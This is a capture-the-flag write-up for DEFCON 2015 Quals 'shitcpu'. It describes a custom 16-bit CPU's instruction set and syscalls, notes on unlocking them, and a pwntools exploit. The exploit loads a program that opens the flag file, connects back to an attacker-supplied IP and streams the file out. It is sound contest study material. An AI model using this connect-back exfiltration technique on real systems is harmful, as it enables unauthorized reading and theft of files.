# DEFCON CTF 2015 Quals shitcpu Writeup
Author: libmaru @ Blue-Lotus
## Instruction Set
	opcode[5] rd[3] imm[8]	00001: mem[GPR[rd]] = imm8	00011: GPR[rd] |= imm8 << 8	00101: GPR[rd] = (BYTE) mem[PC+imm8+2]	00111: (BYTE) mem[PC+imm8+2] = GPR[rd]	01001: GPR[rd] = (WORD) mem[PC+imm8+2]	01011: (WORD) mem[PC+imm8+2] = GPR[rd]
	opcode[5] rd[3] op2[4] op1[4]	00000: GPR[rd] = GPR[op1] + GPR[op2]	00010: GPR[rd] = GPR[op1] & GPR[op2]	00100: GPR[rd] = GPR[op1] | GPR[op2]	00110: GPR[rd] = GPR[op1] - GPR[op2]	01000: GPR[rd] = GPR[op1] ^ GPR[op2]	01010: GPR[rd] = GPR[op1] * GPR[op2]		(signed)	01100: GPR[rd] = GPR[op1] >> GPR[op2]		(signed)	01110: GPR[rd] = GPR[op1] << GPR[op2]	01101: cmp, gpr[rd] = sgn( GPR[op1] - GPR[op2] )
	opcode[4] amount[1](8/16) off[11]	1000: call, move GPR window, GPR[last] = PC, PC += off11 << 1
	opcode[4] off[8] cond[4]	1001: if( GPR[cond] == 0 ) PC += sext16( off8 << 1 )	1010: if( GPR[cond] != 0 ) PC += sext16( off8 << 1 )	1011: if( GPR[cond] <  0 ) PC += sext16( off8 << 1 )	1100: if( GPR[cond] >  0 ) PC += sext16( off8 << 1 )
	opcode[4] off[12]	1101: PC += sext16( off12 << 1 )
	opcode[4] amount[1](4/8) off[10] ignore[1]	1110: bulk load registers in reverse order
	opcode[8] rd[4] cond[4]	11110000: if( GPR[cond] == 0 ) PC += GPR[rd] & 0xFFFE	11110001: if( GPR[cond] != 0 ) PC += GPR[rd] & 0xFFFE	11110010: if( GPR[cond] <  0 ) PC += GPR[rd] & 0xFFFE	11110011: if( GPR[cond] >  0 ) PC += GPR[rd] & 0xFFFE
	opcode[8] rs[4] rd[4]	11110100: GPR[rd] = -GPR[rs]	11110101: GPR[rd] = GPR[rs]	11110110: PC += GPR[rs] & 0xFFFE
	opcode[8] rs[4] ignore[4]	11110111: call_reg, move GPR window(reuse rs[3], 8/16), GPR[last] = PC, PC += GPR[rs] & 0xFFFE  
	opcode[8] amount[1](8/16) ignore[7]	11111000: ret, move GPR window backwards
	opcode[8] rd[4] ignore[4]	11111001: syscall( GPR[rd] )		0xFA0: GPR[0]:GPR[1] = time(0)		0xFA1: fp[??] = fopen( GPR[1], "r" )		0xFA2: fclose( fp[GPR[1]] )		0xFA3: fread( GPR[3], 1, GPR[2], fp[GPR[1]] )		0xFA4: fd[??] = socket()		0xFA5: read( fd[GPR[1]], GPR[3], GPR[2] )		0xFA6: write( fd[GPR[1]], GPR[3], GPR[2] )		0xFA7: close( fd[GPR[1]] )		0xFA8: halt		0xFA9: connect( fd[GPR[1]], (GPR[2]<<16|GPR[3],GPR[4]) )		0xFAA: bind( fd[GPR[1]], (0,GPR[2]) ); listen( fd[GPR[1]], 3 )		0xFAB: accept( fd[GPR[1]], NULL, 0 )		default: raise 5
	opcode[8] ignore[6] sub-opcode[2]	11111010??????00: GPR[0] = rnd_1; GPR[1] = rnd_2	11111010??????01: GPR[0] = lock	11111010??????10: if( GPR[0] == XXX && GPR[1] == YYY ) lock = 1	11111010??????11: if( GPR[0] == XXX && GPR[1] == YYY ) lock = 0
## Note
call/ret instruction moves the register window. You won't use this feature in your code.
The syscall is locked by default. To lock/unlock syscall, you must perform some calculation on the two random numbers and pass the check @ `sub_2778`.
There's a plenty of syscalls, but the only way to cat flag is connecting back:
1. fopen is hardcoded with read-only mode2. accept doesn't keep the new fd in the internal structure, thus renders it inaccessible3. although the fd array is initialized with 0, there is a boundary check stops us from using fd 0; raise this limit will overwrite 0 with fd/-1
## Other
Passing negative size to rw/rb commands bypasses size limit to some extent
If you want to inspect register values, just trigger an undefined instruction exception.
If you want single step debugging, patch sub_2A92 and let it return.
## Exploit
	from pwn import *	import socket	import sys
	target = ( 'shitcpu_5f766bf9fb92aead0ae2de76ea57f21c.quals.shallweplayaga.me', 19192 )	connback = ( 'PUT_YOUR_IP_HERE', 1337 )
	try:		path = sys.argv[1]	except:		path = '/home/shitcpu/flag'
	context.bits = 16	context.endian = 'big'
	align = lambda s: s+'\0' if len(s) & 1 else s	bswap16 = lambda s: ''.join( s[i:i+2][::-1] for i in xrange( 0, len(s), 2 ))	string = lambda s: bswap16( align( s ))
	connback_ip = bswap16( socket.inet_aton( connback[0] ))	connback_port = pack( connback[1], endianness='little' )
	program = flat(	## Unlock syscall		0xFA01,		# GPR[0], GPR[1] = rand_1, rand_2		0x5210,		# GPR[2] = GPR[0] * GPR[1]		0x6B10,		# GPR[3] = cmp( GPR[0], GPR[1] )		0xC013,		# if GPR[3] > 0: goto PC+1*2			0xF422,	# 	GPR[2] = -GPR[2]		0x6B12,		# GPR[3] = cmp( GPR[1], GPR[2] )		0xC013,		# if GPR[3] > 0: goto PC+1*2			0xF510,	# 	GPR[0] = GPR[1]		0x4120,		# GPR[1] = GPR[0] ^ GPR[2]		0xF520,		# GPR[0] = GPR[2]		0xFA03,		# unlock
	## Prepare file and socket		0xE00C,		# load GPR[3~0]		0xF900,		# syscall GPR[0] (fopen)		0xF930,		# syscall GPR[3] (socket)
		0xE808,		# load GPR[7~0]		0xF900,		# syscall GPR[0] (connect)
	## Prepare for the pump loop		0xE814,		# load GPR[7~0]		0xD013,		# goto PC+19*2
	## Constants		0x0FA4,		# GPR[3] = SYSCALL_SOCKET		0x0005,		# GPR[2] = 5		0x0000,		# GPR[1] = filename		0x0FA1,		# GPR[0] = SYSCALL_FOPEN
		connback_port,	# GPR[4] = port		connback_ip,	# GPR[3] = lo( IPv4 ), GPR[2] = hi( IPv4 )		0x0000,			# GPR[1] = 0		0x0FA9,			# GPR[0] = SYSCALL_CONNECT = 0x0FA9
		0x0FA8,		# GPR[7] = SYSCALL_EXIT		0x0FA6,		# GPR[6] = SYSCALL_WRITE		0x0FA3,		# GPR[5] = SYSCALL_FREAD		0x0100,		# GRP[4] = max_size = 0x100		0x0000,		# GPR[3] = buffer = 0x3F00		0x0100,		# GPR[2] = size = 0x100		0x0000,		# GPR[1] = GPR[1] ^ GPR[1] = 0
	## Pump from file to socket		0xF502,		# GPR[2] = GPR[0]		0xF960,		# syscall GPR[6] (write)		0xF542,		# GPR[2] = GPR[4]		0xF950,		# syscall GPR[5] (fread)		0xCFB0,		# if GPR[0] > 0: goto PC+(-5)*2
	## Exit		0xF970,		# syscall GPR[7] (exit)	)
	def load( base, data ):		data = align( data )		conn.send( ''.join( 'ww %X %X\n' % (base+i,u16(data[i:i+2])) for i in xrange( 0, len( data ), 2 ) if u16(data[i:i+2])))
	conn = remote( *target )	load( 0x0000, string( path ) )	load( 0x4000, program )	conn.sendline( 'run' )	conn.recvuntil( 'Simulation ending.' )
## Flag
FYI, the flag changes over time.
    The flag is: Nice r3v3rsing skilzz, what a shitty CPU tho!@1337    The flag is: Later, shitlords